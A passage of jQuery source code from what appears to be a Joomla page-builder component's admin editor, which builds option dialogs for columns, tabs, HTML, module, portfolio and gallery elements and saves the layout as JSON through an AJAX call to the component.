                                                                                        ['lightSpeedIn', 'lightSpeedIn'],
                                                                                        ['rollIn', 'rollIn'],
                                                                                        ['wobble', 'wobble'],
                                                                                        ['swing', 'swing'],
                                                                                        ['wobble', 'wobble'],
                                                                                        ],false);
				
        content+="<label>Heading Class:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-heading' value='"+((data.attr.heading==null)?"":data.attr.heading)+"' />";
		content+="</div>";
        content+="<label>Background image:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-bg' value='"+((data.attr.bg==null)?"":data.attr.bg)+"' />";
		content+="</div>";
        content+="<label>Padding:</label>";
		content+="<div class='row-fluid'>";
			content+="<input type='text' class='column-cpadding' value='"+((data.attr.cpadding==null)?"":data.attr.cpadding)+"' />";
		content+="</div>";        
		content+="<label>Full Width:</label>";
		content+="<div class='row-fluid'><div class='st-fullwidth st-radio'>"; 
			content+='<label class="radio inline"><input type="radio" name="st-fullwidth" value="1" checked="checked">Yes</label>';
			content+='<label class="radio inline"><input type="radio" name="st-fullwidth" value="0">No</label>';
		content+="</div></div>";
        content+="<label>State:</label>";
		content+="<div class='row-fluid'><div class='st-state st-radio'>"; 
			content+='<label class="radio inline"><input type="radio" name="st-state" value="1" checked="checked">Yes</label>';
			content+='<label class="radio inline"><input type="radio" name="st-state" value="0">No</label>';
		content+="</div></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	if(typeof data.attr.fullwidth !='undefined'){
		jQuery('#st-navigation .st-fullwidth [value="'+data.attr.fullwidth+'"]').prop('checked', true);
	}
    if(typeof data.attr.state !='undefined'){
		jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').prop('checked', true);
	}
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveColumnDesign(data);
	});
}

function saveColumnDesign(data){
	data.attr.title = jQuery.trim(jQuery('#st-navigation .column-title').val());
	data.attr.sdesc = jQuery.trim(jQuery('#st-navigation .column-sdesc').val());
	data.attr.id = jQuery.trim(jQuery('#st-navigation .column-id').val());
	data.attr.class = jQuery.trim(jQuery('#st-navigation .column-class').val());
	data.attr.cid = jQuery.trim(jQuery('#st-navigation .column-cid').val());
	data.attr.cclass = jQuery.trim(jQuery('#st-navigation .column-cclass').val());
	data.attr.heading = jQuery.trim(jQuery('#st-navigation .column-heading').val());
    data.attr.htag = jQuery('select[name="st-htag"] option:selected').val();
    data.attr.animate = jQuery('select[name="st-animate"] option:selected').val();
	data.attr.bg = jQuery.trim(jQuery('#st-navigation .column-bg').val());
	data.attr.cpadding = jQuery.trim(jQuery('#st-navigation .column-cpadding').val());
	data.attr.fullwidth = jQuery('#st-navigation .st-fullwidth input[type="radio"]:checked').val();
	data.attr.state = jQuery('#st-navigation .st-state input[type="radio"]:checked').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

function ColumnDesign(sele,data){
	jQuery(sele).find('.sortable-column').each(function(index){
		for(i=0;i<data[index].content.length;i++){
			var html="";
			if(arrayType[data[index].content[i].type].type=="tabs_desi"){
				arrayType[data[index].content[i].type].class="st-tabs-container";
			}
			html+="<li data-type='"+arrayType[data[index].content[i].type].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].type].class+"' style='display:block;' data=\""+encodeURIComponent(JSON.stringify(data[index].content[i]))+"\">";
			html+="<div class='st-header-title'>";
			html+="<span class='st-name'>"+arrayType[data[index].content[i].type].name+"</span> ";
			html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
			html+="<span href='#st-navigation' data-type='"+arrayType[data[index].content[i].type].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
			if(arrayType[data[index].content[i].type].type=="tabs_desi"){
			html+='<span class="st-hide"><i class="icon-new-window"></i></span>';
			}else{
			
			}
			html+='<span href="#" class="st-duplicate" title="Duplicate"><i class="icon-copy"></i></span>';
			html+="</div>";
			if(data[index].content[i].type=='tabs_desi'){
				var id = makeid();
				html+='<div class="st-tabitems">';
					html+='<ul class="nav nav-tabs" id="myTab-'+id+'">';
					for(j=0;j<data[index].content[i].content.length;j++){
						html+='<li '+((j==0)?'class="active"':'')+'><a class="st-tab" href="#'+id+'-'+j+'" index="'+j+'" >'+data[index].content[i].content[j].attr.title;
							html+='<input index="'+j+'" class="input-edittab" type="text" id="myTab-input-'+id+'-'+j+'" value="'+data[index].content[i].content[j].attr.title+'" />'
							html+='<i class="icon-cancel-circle" title="close" index="#'+id+'-'+j+'"></i>';
						html+='</a></li>';
					}
						html+='<li><a class="newtab" href="#"><i class=" icon-plus"></i></a></li>';
					html+='</ul>';
					html+='<div class="tab-content">';
					for(j=0;j<data[index].content[i].content.length;j++){
						html+='<div class="tab-pane '+((j==0)?'active':'')+'" id="'+id+'-'+j+'"><ul class="sortable sortable-tabitem">';
						for(var k=0;k<data[index].content[i].content[j].content.length;k++){
							html+="<li data-type='"+data[index].content[i].content[j].content[k].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].content[j].content[k].type].class+"' style='display:block;' data='"+encodeURIComponent(JSON.stringify(data[index].content[i].content[j].content[k]))+"'>";
								html+="<div class='st-header-title'>";
									html+="<span class='st-name'>"+arrayType[data[index].content[i].content[j].content[k].type].name+"</span> ";
									html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
									html+="<span href='#st-navigation' data-type='"+data[index].content[i].content[j].content[k].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
								html+="</div>";
							html+="</li>";
						}
						html+='</ul></div>';
					}
					html+='</div>';
				html+='</div>';
			}
			html+="</li>";
			jQuery(this).append(html);
			jQuery('[id*="myTab"] a.newtab').click(function (e) {
				
				var array = jQuery(this).parent().prev().find('.input-edittab').attr('id').split("-");
				array[3]=(array[3]+1);
				jQuery(this).parent().before('<li class=""><a class="st-tab" href="#'+array[2]+'-'+array[3]+'"><span class="tabname">New Tab</span><input class="input-edittab" type="text" id="myTab-input-'+array[2]+'-'+array[3]+'" value="New Tab" /><i class="icon-cancel-circle" title="close" index="#'+array[2]+'-'+array[3]+'"></a></li>');
				jQuery(this).parent().parent().parent().find('.tab-content').append('<div class="tab-pane " id="'+array[2]+'-'+array[3]+'"><ul class="sortable sortable-tabitem ui-sortable"></ul></div>');
				addEventTab(array[2]);
				jQuery('#st-page #myTab-'+array[2]+' .input-edittab').hide();
				return false;
			});
			jQuery('[id*="myTab"] a.st-tab .icon-cancel-circle').click(function(){
				var sele = jQuery(this).attr('index');
				var count = jQuery(this).parent().parent().parent().find('>li').length;
				if(count==2){
					alert('Keep minimum 1 tab');
					return false;
				}else{
					jQuery(sele).remove();
					jQuery(this).parent().parent().remove();
					return false;
				}
			});
			jQuery('[id*="myTab"] a.st-tab').click(function (e) {
				e.preventDefault();
				jQuery(this).tab('show');
			});
			jQuery('[id*="myTab"] [id*="myTab-input"]').hide();
		}
	});
}

//////////////////////////////// Button ////////////////////////////////////
function appendDataColumn(sele){
	if(!sele.hasClass("st-column-container")){
		arr = [];
		sele.each(function(index){
			arr.push(jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data"))));
		});
		return arr;
	}else{
		data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
		jQuery(this).find('.sortable-column').each(function(){
			var a = appendDataColumn(jQuery(this).find('>li'));
			data.content[index].content.push(a);
		});
		return data;
	}
}

function saveblue_pagebuilder(){
		jQuery('#system-message-container').html("");

		name=jQuery("#toolbar #inputNamepage").val();

		if(name==""){
			alert("Name Page is not empty !");
			jQuery("#toolbar #inputNamepage").focus();
			return false;
		}
		arr = [];
		jQuery('#st-page>li').each(function(){
			if(jQuery(this).hasClass("st-column-container")){
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				jQuery(this).find('.sortable-column').each(function(index){
					var a = [];
					jQuery(this).find('>li').each(function(){
						if(jQuery(this).attr("data-type")=='tabs_desi'){
							jQuery(this).attr("data",saveTabOption(jQuery(this),jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")))));
						}
						a.push(jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data"))));
					});
					data.content[index].content = a;
				});
				jQuery(this).attr("data",encodeURIComponent(JSON.stringify(data)));
			}else if(jQuery(this).hasClass("st-tabs-container")){
				data = jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data")));
				jQuery(this).attr("data",saveTabOption(jQuery(this),data));
			}
			//jQuery('#st-debug').html();
			arr.push(jQuery(this).attr('data'));
		});
		json = JSON.stringify(arr);
		var config = {"id":jQuery.trim(jQuery('#page-id-config').val()),"class":jQuery.trim(jQuery('#page-class-config').val()),"fullwidth":jQuery('#page-fullwidth [name="page-fullwidth"]:checked').val(),"author":jQuery.trim(jQuery('#page-author-config').val())};
		jQuery.ajax({
			type:"POST",
			url:"index.php?option=com_blue_pagebuilder&task=page.stSave&tmpl=component",
			data:{data:json,id:jQuery('#stid').val(),name:name,config:JSON.stringify(config)},
			dataType : 'html',
			beforeSend :function(){
				ajaxbeforesend();
			},
			success:function(response){
				//console.log(response);
				ajaxsuccess(response);
				
				//jQuery('#system-message-container').html('<div><button type="button" class="close" data-dismiss="alert">×</button><div class="alert alert-success"><h4 class="alert-heading">Message</h4><p>'+response+'</p></div>');
			}
		});
	}

function buttonsave(){
	jQuery("#toolbar-apply").click(function(){
		saveblue_pagebuilder();
	});
	jQuery("#toolbar-save").click(function(){
		saveblue_pagebuilder();
		//setTimeout(function(){window.location="index.php?option=com_blue_pagebuilder";},wait);
		jQuery("body").on("stSaveSuccess", function(){
			window.location="index.php?option=com_blue_pagebuilder";
		});
	});
}
function ajaxbeforesend(){
	var inputs = jQuery("#toolbar").find("input, select, button, textarea");
    inputs.prop("disabled", true);
    jQuery('#st-save-eff .icon-spinner').show();
    jQuery('#st-save-eff .message').hide();
	jQuery('#st-save-eff').show();
	jQuery('.st-design .st-items,.st-design .st-desi').css({opacity:0.6});
}

function ajaxsuccess(response){
	var inputs = jQuery("#toolbar").find("input, select, button, textarea");
    inputs.prop("disabled", false);
    jQuery('#st-save-eff .icon-spinner').hide();
    jQuery('#st-save-eff .message').fadeIn(200);
    var wait = window.setTimeout( function(){
	    	jQuery('#st-save-eff').fadeOut(400);
	    	jQuery('.st-design .st-items,.st-design .st-desi').css({opacity:1});
		},1000
	);
	jQuery("body").trigger("stSaveSuccess");
}

////////////////////////////////  Item //////////////////////////////////////


// get Portfolio Option
function getPortfolioOption(data){
	content ="<div class='st-nav-title'><i class='icon-folder-open-alt'></i> Portfolio<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-portfolio'>";
		content +="<div class='row-fluid'>";
			content +="<div class='span6'>";
				content+="<label>Category:</label>";
        		content+="<div class='row-fluid st-category'></div>";
        		content += getBt2Inputgroup([['text', 'st-title','span12','','Title','Title', data.attr.title,'Portfolio']],false);
        		content += getBt2Textareagroup([['st-description','span12','',data.attr.description,'Description', '5','']], false);
                content += getBt2Inputgroup([['text', 'st-stid','span12','','Id','Id', data.attr.stid,'Id']],false);
        		content += getBt2Inputgroup([['text', 'st-menuid','span12','','Menu Id','Menu Id', data.attr.menuid,'']],false);
        		content += getBt2Textareagroup([['st-class','span12','',data.attr.class,'Class', '5','Portfolio class']], false);
			
            content +="</div>";
			content +="<div class='span6'>";
				content += getBt2Inputgroup([['text', 'st-itemcount','span12','','Count','Count', data.attr.count,'All']],false);
				content += getBt2Selectgroup('Order', 'st-order', 'span12', '', data.attr.order, [['Created', 'created'],['Ordering', 'ordering']], false);
				content += getBt2Selectgroup('Direction', 'st-direction', 'span12', '', data.attr.direction, [['ASC', 'ASC'],['DESC', 'DESC']], false);
				content += getBt2Selectgroup('Columns', 'st-portfolio-columns', 'span12', '', data.attr.columns, [['2 Columns', '2'],['3 Columns', '3'],['4 Columns', '4'],['6 Columns', '6']], false);
				content += getBt2Selectgroup('State', 'st-state', 'span12', '', data.attr.state, [['Yes', '1'],['No', '0']], false);
				content += getBt2Selectgroup('Template', 'st-portfolio-template', 'span12', '', data.attr.template, [['Default', 'portfolio'],['Default1', 'portfolio1']], false);
			content +="</div>";
		content +="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";

	jQuery('.st-navigation').html(content);
	jQuery('#st-navigation .btn-primary.btn-save').click(function(){
		savePortfolio(data);
	});
}



function savePortfolio(data){
	data.attr.id = jQuery('#st-navigation .st-category select').val();
	data.attr.title = jQuery('#st-navigation .st-portfolio [name="st-title"]').val();
    data.attr.description = jQuery('#st-navigation .st-portfolio [name="st-description"]').val();
	data.attr.stid = jQuery('#st-navigation .st-portfolio [name="st-stid"]').val();
	data.attr.menuid = jQuery('#st-navigation .st-portfolio [name="st-menuid"]').val();
    data.attr.class = jQuery('#st-navigation .st-portfolio [name="st-class"]').val();
    data.attr.order = jQuery('select[name="st-order"] option:selected').val();
    data.attr.direction = jQuery('select[name="st-direction"] option:selected').val();
    data.attr.state = jQuery('select[name="st-state"] option:selected').val();
	data.attr.count = jQuery('input[name="st-itemcount"]').val();
    data.attr.columns = jQuery('select[name="st-portfolio-columns"] option:selected').val();
	data.attr.template = jQuery('select[name="st-portfolio-template"] option:selected').val();
	jQuery('#st-page li.st-focus').attr("data",encodeURIComponent(JSON.stringify(data)));
	jQuery.stbox.close();
}
// End Portfolio

// Get Option Tabs
function getTabsOption(data){
	content ="<div class='st-nav-title'><i class='icon-box'></i> Tabs<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
        content+='<label>Title:</label>';
		content+='<div class="row-fluid"><input type="text" class="st-title" value="'+((data.attr.title!=null)?data.attr.title:"")+'" /></div>';
        content+='<label>Heading class:</label>';
		content+='<div class="row-fluid"><input type="text" class="st-hclass" value="'+((data.attr.hclass!=null)?data.attr.hclass:"item_heading")+'" /></div>';
        
		content+="<label>Type:</label>";
		content+="<div class='row-fluid'><select class='st-tabposition'>";
			content+='<option value="style1">Horizontal Tabs</option>';
			content+='<option value="style2">Vertical Tabs</option>';
			content+='<option value="accordion">Accordions</option>';
		content+="</select></div>";
        content+="<label>State:</label>";
        content+="<div class='row-fluid'><select class='st-state'>";
			content+='<option value="1">Yes</option>';
			content+='<option value="0">No</option>';
		content+="</select></div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('.st-navigation .st-tabposition [value="'+data.attr.position+'"]').attr("selected","selected");
	jQuery('.st-navigation .st-state [value="'+data.attr.state+'"]').attr("selected","selected");
    jQuery('.st-navigation .st-title [value="'+((data.attr.title!=null)?data.attr.title:"")+'"]').prop("checked",true);
    jQuery('.st-navigation .st-hclass [value="'+((data.attr.hclass!=null)?data.attr.hclass:"")+'"]').prop("checked",true);
    
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveTabs(data);
	});
}

function saveTabs(data){
    data.attr.title = jQuery('.st-nav-option .st-title').val();
    data.attr.hclass = jQuery('.st-nav-option .st-hclass').val();
	data.attr.position=jQuery('.st-nav-option .st-tabposition').val();
	data.attr.state=jQuery('.st-nav-option .st-state').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

function AddTab(item){
	data = jQuery.parseJSON(decodeURIComponent(jQuery(item).attr("data")));
	var id = makeid();
	content ='<div class="st-tabitems">';
		content+='<ul class="nav nav-tabs" id="myTab-'+id+'">';
		for(i=0;i<data.content.length;i++){
			content+='<li '+((i==0)?'class="active"':'')+'><a class="st-tab" href="#'+id+'-'+i+'" index="'+i+'">';
				content+='<span class="tabname">'+data.content[i].attr.title+'</span>';
				content+='<input index="'+i+'" class="input-edittab" type="text" id="myTab-input-'+id+'-'+i+'" value="'+data.content[i].attr.title+'" />';
				content+='<i class="icon-cancel-circle" title="close" index="#'+id+'-'+i+'"></i>';
			content+='</a></li>';
		}
			content+='<li><a class="newtab" href="#"><i class=" icon-plus"></i></a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
		for(i=0;i<data.content.length;i++){
			content+='<div class="tab-pane '+((i==0)?'active':'')+'" id="'+id+'-'+i+'"><ul class="sortable sortable-tabitem"></ul></div>';
		}
		content+='</div>';
	content+='</div>';
	jQuery(item).append(content);
	jQuery('#myTab-'+id+' a.newtab').click(function (e) {
		var len = jQuery(this).parent().parent().find('>li').length - 1;
		jQuery(this).parent().before('<li class=""><a class="st-tab" href="#'+id+'-'+len+'"><span class="tabname">New Tab</span><input class="input-edittab" type="text" id="myTab-input-'+id+'-'+len+'" value="New Tab" /><i class="icon-cancel-circle" title="close" index="#'+id+'-'+len+'"></i></a></li>');
		jQuery(this).parent().parent().parent().find('.tab-content').append('<div class="tab-pane " id="'+id+'-'+len+'"><ul class="sortable sortable-tabitem ui-sortable"></ul></div>');
		addEventTab(id);
		jQuery('#st-page #myTab-'+id+' .input-edittab').hide();
		return false;
	});
	jQuery('#st-page #myTab-'+id+' .input-edittab').hide();
	addEventTab(id);
}

function addEventTab(id){
	duplicateItem();
	buttonNewtab();
	jQuery('#myTab-'+id+' a.st-tab').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('#myTab-'+id+' a.st-tab').dblclick(function(){
		jQuery(this).find('.tabname').hide();
		jQuery(this).find('.input-edittab').show();
		addEventIputTab(jQuery(this),jQuery('#myTab-'+id).parent().parent());
	});
	jQuery('#myTab-'+id+' a.st-tab .icon-cancel-circle').click(function(){
		var sele = jQuery(this).attr('index');
		var count = jQuery(this).parent().parent().parent().find('>li').length;
		if(count==2){
			alert('Keep minimum 1 tab');
			return false;
		}else{
			jQuery(sele).remove();
			jQuery(this).parent().parent().remove();
			return false;
		}
	});
	addsort();
}

function buttonNewtab(){
	jQuery('[id*="myTab"] a.newtab').unbind('click');
	jQuery('[id*="myTab"] a.newtab').click(function (e) {
		var array = jQuery(this).parent().prev().find('.input-edittab').attr('id').split("-");
		console.log(array);
		array[3]=(array[3]+1);
		console.log(array);
		jQuery(this).parent().before('<li class=""><a class="st-tab" href="#'+array[2]+'-'+array[3]+'"><span class="tabname">New Tab</span><input class="input-edittab" type="text" id="myTab-input-'+array[2]+'-'+array[3]+'" value="New Tab" /><i class="icon-cancel-circle" title="close" index="#'+array[2]+'-'+array[3]+'"></a></li>');
		jQuery(this).parent().parent().parent().find('.tab-content').append('<div class="tab-pane " id="'+array[2]+'-'+array[3]+'"><ul class="sortable sortable-tabitem ui-sortable"></ul></div>');
		addEventTab(array[2]);
		jQuery('#st-page #myTab-'+array[2]+' .input-edittab').hide();
		return false;
	});
}

function addEventIputTab(ele,pare){
	ele.find('.input-edittab').focus().keyup(function(e){
		if(e.which==13){
			var data = jQuery.parseJSON(decodeURIComponent(pare.attr('data')));
			var title = ele.find('.input-edittab').val();
			var index = ele.attr('index');
			ele.find('.tabname').text(title).show();
			ele.find('.input-edittab').hide();
			data.content[index].attr.title = title;
		}else if(e.which==27){
			ele.find('.tabname').show();
			ele.find('.input-edittab').val(ele.find('.tabname').text()).hide();
		}
	}).blur(function(){
		var data = jQuery.parseJSON(decodeURIComponent(pare.attr('data')));
		var title = ele.find('.input-edittab').val();
		var index = ele.attr('index');
		ele.find('.tabname').text(title).show();
		ele.find('.input-edittab').hide();
		data.content[index].attr.title = title;
	});
}

function saveTabOption(sele,data){
	data.content=[];
	sele.find('.sortable-tabitem').each(function(index){
		var title = jQuery(jQuery(this).closest('.tab-content').parent().find('.nav-tabs li')[index]).find('a').text();
		var a = [];
		jQuery(this).find('>li').each(function(){
			a.push(jQuery.parseJSON(decodeURIComponent(jQuery(this).attr("data"))));
		});
		var item = {"attr":{"title":title},"content":a,"type":"tabst_item_desi"};
		data.content.push(item);
	});
	return encodeURIComponent(JSON.stringify(data));
}

function TabsDesign(sele,data){
	jQuery(sele).find('.sortable-tabitem').each(function(index){
		for(i=0;i<data[index].content.length;i++){
			var html="";
			html+="<li data-type='"+arrayType[data[index].content[i].type].type+"' class='ui-state-highlight btn ui-draggable "+arrayType[data[index].content[i].type].class+"' style='display:block;' data='"+encodeURIComponent(JSON.stringify(data[index].content[i]))+"'>";
				html+="<div class='st-header-title'>";
					html+="<span class='st-name'>"+arrayType[data[index].content[i].type].name+"</span> ";
					html+="<span href='#' class='st-close' title='Close'><i class='icon-cancel-circle'></i></span> ";
					html+="<span href='#st-navigation' data-type='"+arrayType[data[index].content[i].type].type+"' title='Edit' class='st-edit stmodal'><i class='icon-cog-2'></i></span>";
					html+='<span href="#" class="st-duplicate" title="Duplicate"><i class="icon-copy"></i></span>';
				html+="</div>";
			html+="</li>";
			jQuery(this).append(html);
		}
	});
}
//End Tab Option

// Get Option HTML
function getHtmlOption(data){
	content ="<div class='st-nav-title'><i class='icon-code'></i> HTML<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
        content+="<label>Title</label>";
        content+="<div class='title'><input type='text' class='html-title' value='"+((data.attr.title==null)?"":data.attr.title)+"' ></div>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12 st-editor'>";
				content+="<iframe class='if-editor' src='index.php?option=com_blue_pagebuilder&task=page.getEditor&tmpl=component' width='100%' height='370'></iframe>";
			content+="</div>";
		content+="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-html'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('#st-navigation .if-editor').load(function(){
		setDataEditor(data.content);
		jQuery('#st-navigation iframe').contents().find('.mce_editable').css('width', '98%');
	});
	jQuery('.st-nav-option button.btn-primary.btn-html').click(function(){
		saveHtml();
	});
}

function setDataEditor(ct){	
	window.setTimeout(function(){
		  if(jQuery('#st-navigation iframe').contents().find('iframe').contents().find('body').length>0){
		   jQuery('#st-navigation iframe').contents().find('iframe').contents().find('body').html(decodeURIComponent(ct));
		  }else{
		   setDataEditor(ct);
		  }
	},300);
}
function saveHtml(){
    var title = convertHTML(jQuery('.st-navigation .html-title').val());
    jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
    jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
	var html = encodeURIComponent(jQuery('#st-navigation iframe').contents().find('iframe').contents().find('body').html());

	var json = encodeURIComponent(JSON.stringify({"type":"html_desi","content":html,"attr":{"title":title}}));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

// End Option HMTL

// Get Option Module
function getModuleOption(data){
	content ="<div class='st-nav-title'><i class='icon-qrcode-2'></i> Module<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-module'>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12'>";
				content+="<label>Choose Module From Module Manager:</label>";
				content+="<div class='st-listmodule'></div>";
			content+="</div>";
		//content+="</div>";
		content+="<div class='span12'>";
			content+="<label>Show title:</label>";
			content+="<div class='st-showtitle st-radio'>"; 
				content+='<label class="radio inline"><input type="radio" name="st-title" value="0" checked="checked">No</label>';
				content+='<label class="radio inline"><input type="radio" name="st-title" value="1">Yes</label>';
			content+="</div>";
		content+="</div>";
		content+="<div class='span11'>";
		content+="<label>Chose Template:</label>";
		//content+="<div class='row-fluid'>";
		content +="<select name='st-module-template' class='span12'>";
			content +="<option value='module' " + ((data.attr.template == "module")? 'selected="selected"' : '')+ ">Default</option>";
			content +="<option value='module-none'" + ((data.attr.template == "module-none")? 'selected="selected"' : '')+ ">Clean</option>";
		content +="</select>";
		content+="</div>";
		content+="<div class='span11'>";
			content+="<label>Module Class Suffix:</label>";
			content+="<input type='text' class='st-moduleclass span12' value='"+((data.attr.moduleclass==null)?"":data.attr.moduleclass)+"'></div>";
		content+="<div class='span11'>";
			content+="<label>Heading Class:</label>";
			content+="<input type='text' class='st-hclass span12' value='"+((data.attr.hclass==null)?"":data.attr.hclass)+"'></div>";
		content+="<div class='span11'>";
			content+="<label>State:</label>";
			content+="<div class='st-state st-radio'>"; 
				content+='<label class="radio inline"><input type="radio" name="st-state" value="0" checked="checked">No</label>';
				content+='<label class="radio inline"><input type="radio" name="st-state" value="1">Yes</label>';
			content+="</div>";
		content+="</div>";
        content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	if(typeof data.attr.showtitle !='undefined'){
		jQuery('#st-navigation .st-showtitle [value="'+data.attr.showtitle+'"]').prop('checked', true);
	}
    if(typeof data.attr.state !='undefined'){
		jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').prop('checked', true);
	}
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveModule();
	});
}

function saveModule(){
	var title = jQuery('#st-navigation #jform_modules_chzn>a>span').text();
	jQuery('#st-page .st-focus .st-header-title .st-name').find('.st-modulename').remove();
	jQuery('#st-page .st-focus .st-header-title .st-name').append(' <span class="st-modulename">'+title+'</span>');
	// validate
	if(jQuery('#st-navigation #jform_modules').val()==0){
		alert('Please select a module !');
		return false;
	}
	if(testspecialclass(jQuery('#st-navigation .st-moduleclass').val())){
		data = {"type":"moduleid_desi","content":"","attr":{"id":jQuery('.st-nav-option #jform_modules').val(),"title":title}};
		data.attr.showtitle=jQuery('#st-navigation .st-showtitle [type="radio"]:checked').val();
		data.attr.state=jQuery('#st-navigation .st-state [type="radio"]:checked').val();
		data.attr.moduleclass = jQuery('#st-navigation .st-moduleclass').val();
		data.attr.hclass = jQuery('#st-navigation .st-hclass').val();
		data.attr.template = jQuery('select[name="st-module-template"] option:selected').val();
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		//console.log(json);
		jQuery.stbox.close();
	}else{
		alert('No special characters allowed.');
		return false;
	}
}

// End Option Module

// get Option Gallery
function getGalleryOption(data){
	content ="<div class='st-nav-title'><i class='icon-image'></i> Gallery<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-gallery-option'>";
		content+='<ul class="nav nav-tabs" id="tabpopup">';
			content+='<li class="active"><a href="#getimage"><i class="icon-images"></i>Select Images</a></li>';
			content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
			//Select Image
			content+='<div class="tab-pane active" id="getimage">';
				content+='<div class="row-fluid">';
					content+='<div class="span5">';
                        
						content+='<label>Path:</label><input type="text" class="st-path" value="images/" /><button class="btn btn-primary st-go" type="button" >Go</button>';
						content+='<div class="st-dragimage">'; 
							content+='<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div>';
							content+='<div class="st-mark"></div></div>';
							content+='<ul id="dragImage">';
							content+='</ul>';
						content+='</div>';
					content+='</div>';
					content+='<div class="span2">';
						content+='<span>Drag and Drop</span>';
					content+='</div>';
					content+='<div class="span5">';
						content+='<strong>Drag & Drop images here:</strong>';
						content+='<div class="st-sortimage"><ul id="sortImage">';
						for(var i=0;i<data.content.length;i++){
							content+='<li class="st-selectimage" data-desc="'+((data.content[i].attr.desc!=null)?data.content[i].attr.desc:"")+'" data-title="'+((data.content[i].attr.title!=null)?data.content[i].attr.title:"")+'" data-link-text="'+((data.content[i].attr.link_text!=null)?data.content[i].attr.link_text:"")+'" data-link="'+((data.content[i].attr.link!=null)?data.content[i].attr.link:"")+'" data-image-full="'+((data.content[i].attr.image_full!=null)?data.content[i].attr.image_full:"")+'">';
								content+='<i class="icon-cancel-circle "></i>';
								content+='<img data-site="'+data.content[i].content+'" src="'+data.content[i].attr.linkadmin+'" />';
							content+='</li>';
						}
						content+='</ul></div>';
						content+='<div class="st-desc-item">';
							content+='<label>Image Title:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-title span12" /></div>'
							content+='<label>Description:</label>';
							content+='<div class="row-fluid">';
								content+='<textarea class="span12 st-desc-content" rows="3"></textarea>';
							content+='</div>';
                            content+='<label>Link Text:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-link-text span12" /></div>'
							content+='<label>Link:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-link span12" /></div>'
							
						content+='</div>';
					content+='</div>';
				content+="</div>";
			content+='</div>';
			//End Select Image
			content+='<div class="tab-pane" id="config">';
				content+='<div class="row-fluid">';
                    
					content+='<div class="span6">';
                        content+='<label>Title:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-title span6" value="'+((data.attr.title!=null)?data.attr.title:"")+'" /></div>';
						content+='<label>Heading Class:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-class span6" value="'+((data.attr.class!=null)?data.attr.class:"iteam_heading")+'" /></div>';
						
    					//content+='<label>Thumb Width:</label>';
//    					content+='<div class="row-fluid"><input type="text" class="st-width span6" value="'+((data.attr.width!=null)?data.attr.width:"80")+'" /></div>';
//                        content+='<label>Thumb Height:</label>';
//    					content+='<div class="row-fluid"><input type="text" class="st-height span6" value="'+((data.attr.height!=null)?data.attr.height:"80")+'" /></div>';
